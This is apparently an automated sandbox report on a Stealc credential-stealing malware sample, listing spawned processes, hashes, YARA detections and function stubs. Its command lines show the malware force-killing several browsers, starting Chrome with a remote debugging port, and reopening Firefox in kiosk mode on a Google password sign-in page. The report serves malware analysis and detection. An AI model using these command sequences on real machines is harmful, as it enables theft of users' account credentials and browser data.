Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2458202150.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2866992029.00000000007E1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:04:20
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"
Imagebase:	0xd00000
File size:	1'883'136 bytes
MD5 hash:	0DDCD6763D9C2104F94916AD73E8E3DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2657408134.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:04:22
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"
Imagebase:	0x3d0000
File size:	922'112 bytes
MD5 hash:	4B11625A1A51DEA74C7DEC7F2936DC38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:04:22
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:04:22
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:04:24
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:04:24
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:04:24
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:04:25
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1468 --field-trial-handle=2056,i,3012955416416702549,4677729921786788452,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:04:26
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:04:26
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:04:26
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:04:26
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:04:27
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:04:27
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:04:27
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:04:27
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:04:27
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:04:28
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe"
Imagebase:	0x7e0000
File size:	1'835'008 bytes
MD5 hash:	2F595E9186B87CD4870EA38F16393D8F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000003.2587158839.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:04:28
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b11864e5-b0df-4bd3-ba49-9713f723c78a} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283b0f6f710 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:04:29
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe"
Imagebase:	0xde0000
File size:	2'800'640 bytes
MD5 hash:	B88C844BF623B8DAC6D76610452878D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:04:32
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4060 -parentBuildID 20230927232528 -prefsHandle 3984 -prefMapHandle 4132 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f6648a2-b370-487a-8183-4c238fe51893} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283c3059210 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:04:34
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1628
Imagebase:	0xb00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:04:34
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe"
Imagebase:	0x4d0000
File size:	4'380'160 bytes
MD5 hash:	F1B25767284AA3DBB2EE4B14CF43AF3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	15:04:37
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe"
Imagebase:	0x3d0000
File size:	922'112 bytes
MD5 hash:	4B11625A1A51DEA74C7DEC7F2936DC38
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	15:04:37
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:04:37
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:04:49
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	15:04:49
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1968,i,13570969027934469325,13318670452781412402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	15:04:53
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:04:53
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:04:54
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:04:54
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	15:04:54
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe"
Imagebase:	0xd00000
File size:	1'883'136 bytes
MD5 hash:	0DDCD6763D9C2104F94916AD73E8E3DC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	15:04:54
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	15:04:54
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	15:04:55
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x640000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	15:04:55
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	15:04:55
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	15:04:56
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	15:04:57
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	15:04:58
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2020,i,6744772953434628688,16054015691186099406,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	15:04:58
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2232 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36ae4db8-f077-4782-b582-82aab769c46a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 131e6e6fd10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	15:05:01
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4680 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4712 -prefMapHandle 4708 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5b0849c-9612-4134-96c4-d06596c2f224} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 132006c2310 utility
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	15:05:01
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	15:05:02
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,4136931338263359436,2381881144653388930,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 0512088C Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820766588.0000000005120000.00000040.00001000.00020000.00000000.sdmp, Offset: 05120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5120000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 074688826f8264b7c6ba699fd474f74e5baad2cf37f5fe4fedd02f012020a7ef
Instruction ID: 468e48a66f479c0bc6023f8c1302265302088a6a0cafedf1759778a008e198f8
Opcode Fuzzy Hash: 074688826f8264b7c6ba699fd474f74e5baad2cf37f5fe4fedd02f012020a7ef
Instruction Fuzzy Hash: C701269B8480317D691AC551674C9F77FAFF59F2303334A2AF44BA9802F3860AAA5171

Function 051208C1 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820766588.0000000005120000.00000040.00001000.00020000.00000000.sdmp, Offset: 05120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5120000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48374c57806ca881611b07d20e105e26ceef2e8ea52679720b958edf4d70c6bc
Instruction ID: 7b66378f7aba316a0240ac6e95d7def21668c6d84d4ea84b7409f672d9272a3d
Opcode Fuzzy Hash: 48374c57806ca881611b07d20e105e26ceef2e8ea52679720b958edf4d70c6bc
Instruction Fuzzy Hash: 35E020A314C022AFA629C555261C2B6BF6FF1CE3307378535F08BC1401F38742595130

Non-executed Functions

Function 05120F16 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820766588.0000000005120000.00000040.00001000.00020000.00000000.sdmp, Offset: 05120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5120000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91568d442d662dadb07a176b927593ae97f26b7594ec60377e724c530a08e488
Instruction ID: b1a83c56acc271c7d978a284295047d0516b9fe8e73cf9c5429a6c7ec0036f7c
Opcode Fuzzy Hash: 91568d442d662dadb07a176b927593ae97f26b7594ec60377e724c530a08e488
Instruction Fuzzy Hash: 64C0127B6042582F1201619923693C5DE4A5A5F1707309476DD02FB267E1CA0A5D50B1

Analysis Process: d657e56348.exePID: 7128, Parent PID: 280COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00D3E470 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00D24127,?,00000014,000000FF,?,?,00000002,?), ref: 00D3E49E

Memory Dump Source

Source File: 00000007.00000002.2794048358.0000000000D01000.00000040.00000001.01000000.00000009.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000007.00000002.2793971542.0000000000D00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794048358.0000000000D45000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794299778.0000000000D58000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794299778.0000000000EE5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794299778.0000000000FBD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794299778.0000000000FEA000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794299778.0000000000FF3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2794299778.0000000001002000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2795307372.0000000001003000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2795704327.00000000011A5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2795777386.00000000011A6000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d00000_d657e56348.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
